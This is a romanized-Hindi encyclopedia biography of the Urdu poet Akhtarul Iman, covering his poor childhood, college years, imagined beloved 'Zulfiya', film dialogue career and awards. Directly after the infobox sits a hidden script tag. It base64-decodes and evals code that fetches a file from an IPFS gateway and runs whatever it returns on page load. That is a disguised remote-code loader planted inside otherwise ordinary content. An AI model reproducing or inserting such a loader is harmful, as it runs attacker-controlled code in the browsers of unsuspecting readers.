अख़्तरुल ईमान
akhtarul eeman
| |
| poora nam | akhtarul eeman |
| janm | 12 navanbar, 1915 |
| janm bhoomi | qila pattharagadh, bijanaur, uttar pradesh |
| mrityu | 9 march, 1996 |
| mrityu sthan | mumbee, maharashtr |
| abhibhavak | pita- hafiz fatah muhammad |
| pati/patni | sultana mansoori |
| karm bhoomi | bharat |
| karm-kshetr | urdoo nazm |
| vidyalay | dilli vishvavidyalay, aligadh vishvavidyalay |
| puraskar-upadhi | sahity akadami puraskar, 1962 |
| prasiddhi | shayar, kavi |
| nagarikata | bharatiy |
| any janakari | akhtarul eeman apani shayari ke utkrisht tikakar aur alochak khud the. vo apani kitaboan ki bhoomika svayan likhate the aur pathak ka margadarshan karate the ki unako kis tarah padha jaye. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>akhtarul eeman (aangrezi: Akhtarul Iman, janm- 12 navanbar, 1915; mrityu- 9 march, 1996) urdoo nazm ke ne manak sthapit karane vale advitiy shayar the, jinaki nazmean urdoo adab ke dharohar ka amooly hissa haian. unhoanne urdoo shayari ki lokapriy vidha gazal se kinara karate hue sirf nazm ko apane kavy abhivyakti ka zariya banaya aur ek aisi zaban mean guftagu ki jo shuroo mean,urdoo shayari se dilachaspi rakhane vale tagazzul aur tarannum ashna kanoan ke lie khuradari aur gair shayarana thi lekin vaqt ke sath yahi zaban unake bad ane valoan ke lie ne vishayoan aur abhivyakti ki ne ayam talash karane ka havala bani. unaki shayari pathak ko n to chauankati hai aur n fauri taur par apani giraft mean leti hai balki ahista-ahista, gair mahasoos tariqe par apana jadoo jagati hai aur sthayi prabhav chho d jati hai. unake chiantan ko bhram ya kaif avar ginaiyat ke dayare tak simit nahian kiya ja sakata tha, isilie unhoanne abhivyakti ka vo dhang apanaya jo zyada se zyada sanvedi, bhavanatmak, naitik aur samajik anubhavoan ka samavesh kar sake.
parichay
akhtarul eeman 12 navanbar 1915 ko pashchimi uttar pradesh ke zila bijanaur ki ek chhoti si basti qila pattharagadh mean ek nirdhan parivar mean paida hue. valid ka nam hafiz fatah muhammad tha jo peshe se imam the aur masjid mean bachchoan ko padhaya bhi karate the. us gharane mean do vaqt ki roti ziandagi ka sabase b da masala thi. valid ki rangin mizaji ki vajah se maan-bap ke talluqat kashida rahate the aur maan aksar jhag da kar ke apane mayake chali jati thian aur akhatar shiksha ke vichar se bap ke pas rahate. valid ne unako quran hifz karane par laga diya lekin jald hi unaki chachi jo khala bhi thian unako dilli le geean aur apane pas rakhane ke bajay unako ek anathalay moeed-ul-islam (dariyaganj sthit maujooda bachchoan ka ghar) mean dakhil kara diya.[1]
yahaan akhtarul eeman ne athavian jamat tak shiksha prapt ki. moeed-ul-islam ke ek ustad abdul vahid ne akhtarul eeman ko likhane-likhane aur bhashan dene ki taraf dhyan dilaya aur unhean ehasas dilaya ki unamean adib-o-shayar banane ki bahut sanbhavanaean haian. unaki hausala-afazaee se akhatar ne satrah-atharah sal ki umr mean shayari shuroo kar di. yah skool sirf athavian jamat tak tha, yahaan se athavian jamat pas karane ke bad unhoanne fatehapuri skool mean dakhila le liya jahaan unake halat aur shiksha ke shauq ko dekhate hue unaki fis maf kar di gee aur vo chacha ka makan chho dakar alag rahane lage aur tyushan se apani guzar basar karane lage. 1937 ee. mean unhoanne usi skool se maitrik pas kiya.
jujharoo vakta
maitrik ke bad akhtarul eeman ne aiangalo arabik k aaulej (maujooda zakir husain k aaulej)mean dakhila liya. k aaulej mean vo ek jujharoo vakta aur apani samany roomani nazmoan ki badaulat l dakiyoan ke pasandida shayar ki haisiyat se jane jane lage. unake betakalluf dost unako blaik japan akhtarul eeman kahate the. vo ashaikshanik gatividhiyoan mean badh-chadh kar hissa lete the aur muslim studeants fedareshan ke jvaiant sekretari the. unaki ek avaz par k aaulej mean h datal ho jati thi. usi zamane mean unaki maan ne, unaki marzi ke khilaf unaki shadi ek anapadh-ganvar l daki se kar di jo talaq par khatm huee. tyushan mean unake pas l dakiyaan bhi padhane ati thian, unamean ek shadishuda l daki qaisar bhi thi jis par akhatar mohit ho ge aur apane budhape mean usaki yad mean apani mashahoor nazm “dasana steshan ka musafir” likhi. ye unaka akhiri ishq nahian tha, vo bahut jald kisi n kisi ke ishq mean giraftar ho jate the aur toot kar muhabbat karane lagate the.
zulfiya
apani kamaruee aur garibi ke karan unamean atmavishvas bilkul nahian tha, vo lagabhag har qarib se nazar ane vali l daki ko pasand kar lete the aur phir khud hi usase mayoos ho jate the. vo jisase muhabbat karate shiddat se muhabbat karate. ye muhabbatean unake lie koee khel tamasha nahian thian, vo gahari aur shadid hoti thian lekin doosari taraf se betavajjuhi unako mahaboob badalane par majaboor kar deti thi. phir un l dakiyoan ke aprapy hone ka ehasas unako kha gaya aur sthiti alaukik vicharoan mean badal gee. unhoanne khud ko samajha liya ki unaki adarsh premika is duniya mean maujood hi nahian hai, ab vo ek kalpanik premika ki kalpana mean magan ho ge jisaka vah ek nam "zulfiya” bhi tajaviz kar liya aur apana doosara kavy sangrah usi ke nam samarpit kiya. ye zulfiya is duniya ki jiv nahian thi balki ek kalpana, ek akriti aur ek kaifiyat thi jisake tho de bahut mazahir jisamean nazar ae vo usi ki aradhana karane lagate. apani baqi ziandagi mean, iansani, samajik, naitik garaz ki ziandagi ke samast kshetroan ke moolyoan se vo usi zulfiya ke havale se se roobaroo hote rahe aur vahi unaki shayari ki bauddhik, sanvedanatmak aur bhavatmak adhar ban gee.[1]
sangharsh bhare din
aiangalo arabik k aaulej se bi.e karane ke bad akhtarul eeman ko vahaan em.e mean dakhila nahian mila kyoanki unako k aaulej ki disiplin ke lie khatara samajha jane laga tha. kuchh dinoan bekar rahane ke bad vo sagar nizami ki khvahish par 1941 mean 'eshiya' ke sanpadan ke lie merath chale ge jahaan unaki tanakhvah 40 rupaye mahavar thi. merath mean akhatar ka dil nahian laga aur vo char-paanch mah bad dilli vapas akar saplaee vibhag mean klark ban ge. lekin ek hi mah bad 1942 mean unaki niyukti dilli rediyo steshan mean ho gee. ye naukari rediyo steshan ki aantarik rajaniti ki bheant chadh gee aur unako nikal diya gaya jisamean kathit roop se noon mim rashid ka hath tha. isake bad akhtarul eeman ne kisi tarah aligadh ja kar em.e urdoo mean dakhila liya lekin garibi ki vajah se sirf pahala sal mukammal kar sake aur rozi ki talash mean poona jakar shalimar stoodiyo mean bataur kahanikar aur sanvad lekhak ki naukari kar li. lagabhag do sal vahaan guzarane ke bad vo banbee chale ge aur philmoan mean sanvad likhane lage. 1947 mean unhoanne sultana mansoori se shadi ki, ye muhabbat ki shadi nahian thi lekin poori tarah kamayab rahi.
banbee pahuanch kar akhtarul eeman ki arthik sthiti mean behatari aee jisamean unaki anathak mehanat ka b da dakhal tha aur jisaka sabaq unako shayar mazadoor ehasan danish ne diya tha aur kaha tha, “akhatar sahib, dekho shayari-vayari to apane hisaboan sab chala lete haian, roti mazadoori se milati hai. mazadoori ki adat dalo azizam!” banbee ki film nagari mean akar akhtarul eeman ko duniya ko dekhane aur iansan ko har aandaz mean samajhane ka mauqa mila. yahaan ki dhokebaziyaan, makkariyaan, jhoot, kina-kapat ka unhoanne adhyayan kiya. unaka kahana tha ki filmi duniya se mujhe aantardrishti mili.
utkrisht tikakar aur alochak
akhtarul eeman apani shayari ke utkrisht tikakar aur alochak khud the. vo apani kitaboan ki bhoomika svayan likhate the aur pathak ka margadarshan karate the ki unako kis tarah padha jaye. jaise “yah shayari mashin mean nahian dhali, ek aise iansan ke zehan ki rachana hai jo din-rat badalati huee samajik, arthik aur naitik moolyoan se do-char hota hai. jahaan iansan ziandagi aur samaj ke sath bahut se samajhaute karane par majaboor hai jinhean vo pasand nahian karata. samajhaute isalie karata hai ki usake bina zianda rahana mumkin nahian aur unake khilaf avaz isalie uthata hai ki usake pas zamir nam ki ek chiz hai. aur ye tanha akhtarul eeman ke zamir ki avaz nahian balki unake yug ke har sanvedanashil vyakti ke zamir ki avaz hai. unaki shayari usi ba zamir adami ke bhavanaoan ka pratibimb hai jisamean akramak pratikriya ki guanjaish nahian kyoanki ye joonoon ki nahian anubhooti ki avaz hai.[1]
sakht-gir
akhtarul eeman ek sulah joo iansan the lekin shabd ki pavitrata par koee aanch ana unako gavara nahian tha. samakalin shayaroan ke bare mean unaki jo ray thi usamean kisi khud-pasandi ka nahian balki shabd ki pavitrata ki pasadari ko dakhal tha. apane lekhan ke havale se vo bahut sakht-gir the. ek bar vo kisi film ke sanvad likh rahe the jisake hiro dilip kumar the. unhoanne kisi sanvad mean badalav ke lie akhtarul eeman ka likha hua sanvad kat kar apane qalam se kuchh likhana chaha. akhtarul eeman ne unhean sakhti se rok diya ki vo unaki taharir ko n katean, apana etaraz zabani bataean agar badalana hoga to vo khud apane qalam se badaleange. isi tarah ka ek aur qissa hai jab akhtarul eeman baqayadagi se subah chahalaqadami ke lie jaya karate the. ek roz vo chahalaqadami kar rahe the ki samane se javed akhtar kahian apani rat guzar kar vapas a rahe the. vo akhtarul eeman ko dekhakar bole, “akhatar bhaee apaka ye misara, uthao hath ki dast-e-dua buland karean, galat hai (yani jab hath uthane ki bat kah di gee hai to dast-e-dua buland karane ka kya matalab?) akhtarul eeman ka chhota sa javab tha, “tum urdoo zaban ke muhavare se vaqif nahian.” javed garm ho ge ki maian jaannisar akhatar ka beta aur majaz ka bhaanja urdoo ke muhavare se vaqif nahian! is par akhtarul eeman ne kuchh aisa kaha jo baqaul ravi likhane ke qabil nahian. khair, javed bat ko pi ge aur unase kaha ki ghar chalie, chay pikar jaiega. lekin akhtarul eeman ne gusse se kaha, “jao bhaee, meri sair kyoan kharab karate ho?”
filmi sanvad lekhan
muanbee mean apani 50 sala filmi saragarmi ke dauran mean akhtarul eeman ne 100 se zyada philmoan ke sanvad likhe jinamean nagama, raftar, ziandagi aur toofan, mugal-e-azam, qanoon, vaqt, hamaraz, dag, adami, mujarim, mera saya, adami aur iansan, chaandi-sona, dharam putr, aur aparadh jaisi kamayab philmean shamil thian, vaqt aur dharam putr ke lie unako behatarin sanvad lekhan ka film feyar aivard se navaza gaya.
puraskar v samman
akhtarul eeman ki nazmoan ke das sangrah prakashit hue jinamean gardab, sab rang, tarik sayyara, abajoo, yadean, biant lamhat, naya ahang, sar-o-samaan, zamin zamin aur zamistaan sard-mohari ka shamil haian. yadean ke prakashan par unako sahity akadami puraskar mila, biant lamhat par u.pr. urdoo ekaidami aur mir ekaidami ne unako inam diya, naya ahang ke lie maharashtr urdoo ekaidami ne unako aivard diya aur sar-o-samaan ke lie madhy pradesh hukoomat ne unhean iqabal saman se navaza. isi kitab par unako dilli urdoo ekaidami aur galib ianstityut ne bhi inamat die. tin bar unako jnanapith aivard ke lie namazad kiya gaya.[1]
mrityu
9 march, 1996 ko dil ki bimari se akhtarul eeman ka nidhan ho gaya aur isi ke sath urdoo nazm apane ek mahan sapoot se maharoom ho gee. akhtarul eeman ne apane anubhootiyoan ki abhivyakti mean kavy bhasha vijnan ke samast upasthit tatvoan ko azamane ke bajay unhoanne spasht aur vastavik bhasha upayog kar ke dikha diya ki sher kahane ka ek aandaz ye bhi hai. unaki shayari pathak se apane pathan ki hi nahian apani sunavaiyoan ki bhi prashikshan ka taqaza karati hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 akhtarul eeman ka parichay (hiandi) rekhta.org. abhigaman tithi: 01 disambar, 2021.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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